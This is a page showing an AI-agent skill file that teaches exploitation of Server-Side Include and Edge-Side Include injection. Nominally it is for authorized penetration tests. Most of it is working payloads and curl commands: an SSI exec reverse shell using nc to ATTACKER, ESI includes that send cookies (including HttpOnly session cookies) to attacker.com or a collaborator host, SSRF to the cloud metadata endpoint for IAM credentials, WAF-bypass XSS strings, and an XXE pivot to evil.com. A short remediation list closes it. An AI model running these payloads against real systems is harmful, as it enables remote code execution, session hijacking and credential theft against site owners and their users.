exploiting-server-side-includes-esi-injection

star 618

Exploiting Server-Side Includes (SSI) and Edge-Side Includes (ESI) injection where unsanitized input is reflected into content processed by an SSI-enabled web server or an ESI-capable cache/proxy (Squid, Varnish, Fastly, Akamai, nodesi), enabling command execution, file inclusion, SSRF, cookie theft (incl. HttpOnly), and XSS/WAF bypass. Activates when reflected input may be parsed as SSI/ESI directives.

xalgord By xalgord schedule Updated 6/6/2026

name: exploiting-server-side-includes-esi-injection description: Exploiting Server-Side Includes (SSI) and Edge-Side Includes (ESI) injection where unsanitized input is reflected into content processed by an SSI-enabled web server or an ESI-capable cache/proxy (Squid, Varnish, Fastly, Akamai, nodesi), enabling command execution, file inclusion, SSRF, cookie theft (incl. HttpOnly), and XSS/WAF bypass. Activates when reflected input may be parsed as SSI/ESI directives. domain: cybersecurity subdomain: web-application-security tags:

  • penetration-testing
  • esi-injection
  • ssi-injection
  • ssrf
  • owasp
  • web-security version: '1.0' author: xalgorix license: Apache-2.0

Exploiting SSI / ESI Injection

When to Use

  • During authorized tests where a server uses SSI (files .shtml, .shtm, .stm) or a cache/CDN supports ESI
  • When reflected input may be parsed as directives before the page is served or cached
  • When responses include Surrogate-Control: content="ESI/1.0" (server uses ESI) — but absence does NOT rule it out
  • When a reverse proxy / CDN (Squid3, Varnish, Fastly, Akamai ETS, NodeJS esi/nodesi) sits in front of the app
  • When you need to bypass HttpOnly cookie flags, XSS filters, or WAFs via include/var directives

Critical: Variants Most Often Missed

ESI capabilities differ per software, so a failed payload on one stack does not mean immune. Probe both reflected and blind. SSI directive form: <!--#directive param="value" -->; ESI form: <esi:...>.

# --- DETECTION ---
# SSI reflected echo
<!--#echo var="DATE_LOCAL" -->            # date appears → SSI active
# ESI reflected detection
hell<!--esi-->o                           # renders "hello" → ESI active
# ESI blind detection (callback to your server)
<esi:include src=http://attacker.com>
<esi:debug/>                              # Akamai: dumps debug info in response

# --- SSI EXPLOITATION ---
<!--#exec cmd="id" -->                    # command execution
<!--#exec cmd="mkfifo /tmp/f;nc ATTACKER 4444 0</tmp/f|/bin/bash 1>/tmp/f;rm /tmp/f" -->
<!--#include virtual="/cgi-bin/counter.pl" -->
<!--#include file="secret.txt" -->
<!--#printenv -->

# --- ESI EXPLOITATION ---
# Arbitrary content / XSS include
<esi:include src=http://attacker.com/xss.html>
# SSRF (internal hosts; mind per-software host allowlist)
<esi:include src="http://169.254.169.254/latest/meta-data/"/>
# Cookie theft — bypass HttpOnly by exfiltrating server-side cookie value
<esi:include src=http://attacker.com/?cookie=$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?c=$(HTTP_COOKIE{'JSESSIONID'})" />
# Reflect cookie/XSS into response (engines with Vars support)
<!--esi $(HTTP_COOKIE) -->
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# Add/override response headers (bypass Content-Type to land XSS)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi $add_header('Location','http://attacker.com') -->
# Private local file include (NOT classic LFI)
<esi:include src="supersecret.txt">

# --- WAF / XSS-FILTER BYPASS via <!--esi--> splitting ---
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(1);</s<esi:vars name="$(var1)"/>>

# --- ESI + XSLT → XXE (Akamai dca="xslt") ---
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

ESI capability matrix (from GoSecure) — decides which attacks work:

Software Includes Vars Cookies Upstream Hdr Required Host Allowlist
Squid3 Yes Yes Yes Yes No
Varnish Cache Yes No No Yes Yes
Fastly Yes No No No Yes
Akamai ETS Yes Yes Yes No No
NodeJS esi Yes Yes Yes No No
NodeJS nodesi Yes No No No Optional

How to CONFIRM a hit (avoid false negatives)

  • SSI: <!--#echo var="DATE_LOCAL" --> returns a real date; <!--#exec cmd="id" --> returns uid=....
  • ESI reflected: hell<!--esi-->o renders as hello (the comment is consumed by the ESI engine).
  • ESI blind: <esi:include src=http://COLLAB/> produces an inbound HTTP request to your server — confirms include even with no reflection.
  • Cookie theft: your collaborator log shows the victim/server cookie value in the query string (works even for HttpOnly cookies because the edge engine reads them server-side).
  • SSRF: <esi:include> to an internal host returns internal content or a timing/connect difference; mind host allowlists (Varnish/Fastly).
  • Try BOTH SSI and ESI forms — a server without the Surrogate-Control header may still process ESI.

Workflow

Step 1: Detect SSI/ESI

# Look for ESI surrogate header
curl -sI "https://target/page" | grep -i Surrogate-Control
# Reflected probes
curl -s "https://target/p?q=hell<!--esi-->o"                 # → hello = ESI
curl -s "https://target/p?q=<!--#echo var=\"DATE_LOCAL\" -->" # → date = SSI
# Blind probe with OOB
curl -s "https://target/p?q=<esi:include src=http://COLLAB/>"

Step 2: Exploit

# SSI command execution / reverse shell
curl -s "https://target/p?q=<!--#exec cmd=\"id\" -->"
# ESI HttpOnly cookie exfiltration
curl -s "https://target/p?q=<esi:include src=http://COLLAB/?c=\$(HTTP_COOKIE)>"
# ESI SSRF to cloud metadata
curl -s "https://target/p?q=<esi:include src=http://169.254.169.254/latest/meta-data/>"
# WAF bypass XSS
curl -s "https://target/p?q=<scr<!--esi-->ipt>alert(1)</scr<!--esi-->ipt>"

Step 3: Escalate / Impact

# Add headers in a forced include (smuggle headers / spoof Host)
<esi:include src="http://example.com/x">
  <esi:request_header name="User-Agent" value="12345"/>
</esi:include>
# Akamai: pivot ESI → XSLT → XXE for file read / SSRF
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl"/>

XSLT file used by the dca="xslt" pivot:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file">]>
<foo>&xxe;</foo>

Key Concepts

Concept Description
SSI <!--#directive --> evaluated by the web server (Apache/IIS) at serve time
ESI <esi:...> evaluated by an edge cache/proxy to assemble dynamic fragments
Surrogate-Control: content="ESI/1.0" Indicates ESI; absence does not guarantee safety
Vars support Engines with Vars allow $(HTTP_COOKIE) reflection & XSS-filter bypass
Host allowlist Varnish/Fastly restrict include targets, limiting SSRF
<!--esi--> splitting Comment consumed by engine, splitting tokens to bypass WAFs
dca="xslt" Akamai ESI option enabling XSLT → XXE chaining

Tools & Systems

Tool Purpose
Burp Suite Inject SSI/ESI directives, observe reflection & cache behavior
Collaborator / interactsh Confirm blind <esi:include> and cookie exfiltration
curl Manual detection/exploitation probes
Auto_Wordlists/ssi_esi.txt SSI/ESI payload list
Akamai ETS / nodesi (local) Reproduce engine-specific behavior

Common Scenarios

Scenario 1: SSI Command Execution

A .shtml page reflects a parameter. <!--#exec cmd="id" --> returns uid=33(www-data), and a mkfifo/nc payload yields a reverse shell.

Scenario 2: ESI HttpOnly Cookie Theft

A CDN (Akamai/Squid) processes ESI and exposes cookies. <esi:include src=http://attacker/?c=$(HTTP_COOKIE)> ships the victim's session cookie to the attacker even though it is HttpOnly.

Scenario 3: ESI SSRF to Cloud Metadata

The edge has no host allowlist. <esi:include src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> returns cloud IAM credentials assembled into the cached response.

Output Format

## SSI / ESI Injection Finding

**Vulnerability**: Server-Side Includes / Edge-Side Includes Injection
**Severity**: High to Critical (CVSS 8.1–9.8 for RCE/SSRF/cookie theft)
**Location**: GET /page?q=<SSI/ESI payload>
**OWASP Category**: A03:2021 - Injection (A10 SSRF when applicable)

### Reproduction Steps
1. Detect: q=hell<!--esi-->o renders "hello" (ESI active).
2. Confirm blind: q=<esi:include src=http://COLLAB/> → inbound request received.
3. Exploit: q=<esi:include src=http://COLLAB/?c=$(HTTP_COOKIE)> → session cookie exfiltrated.

### Evidence
| Payload | Result | Capability |
|---------|--------|-----------|
| hell<!--esi-->o | hello | ESI engine present |
| <esi:include src=http://COLLAB> | callback | Blind include / SSRF |
| ?c=$(HTTP_COOKIE) | cookie in log | HttpOnly cookie theft |
| <!--#exec cmd="id"--> | uid=... | SSI RCE |

### Impact
Remote command execution (SSI), SSRF to internal/cloud-metadata services, theft of HttpOnly session cookies, XSS/WAF bypass, and XXE via ESI→XSLT chaining.

### Recommendation
1. Disable SSI (`Options -Includes`) and ESI processing where not required.
2. HTML-encode all reflected input so `<!--#`, `<esi:`, and `<!--esi-->` cannot be parsed as directives.
3. Enforce strict ESI host allowlists and require upstream Surrogate-Control headers.
4. Never allow user input to reach cached fragments unescaped; segment trust between app and edge.
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill exploiting-server-side-includes-esi-injection
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator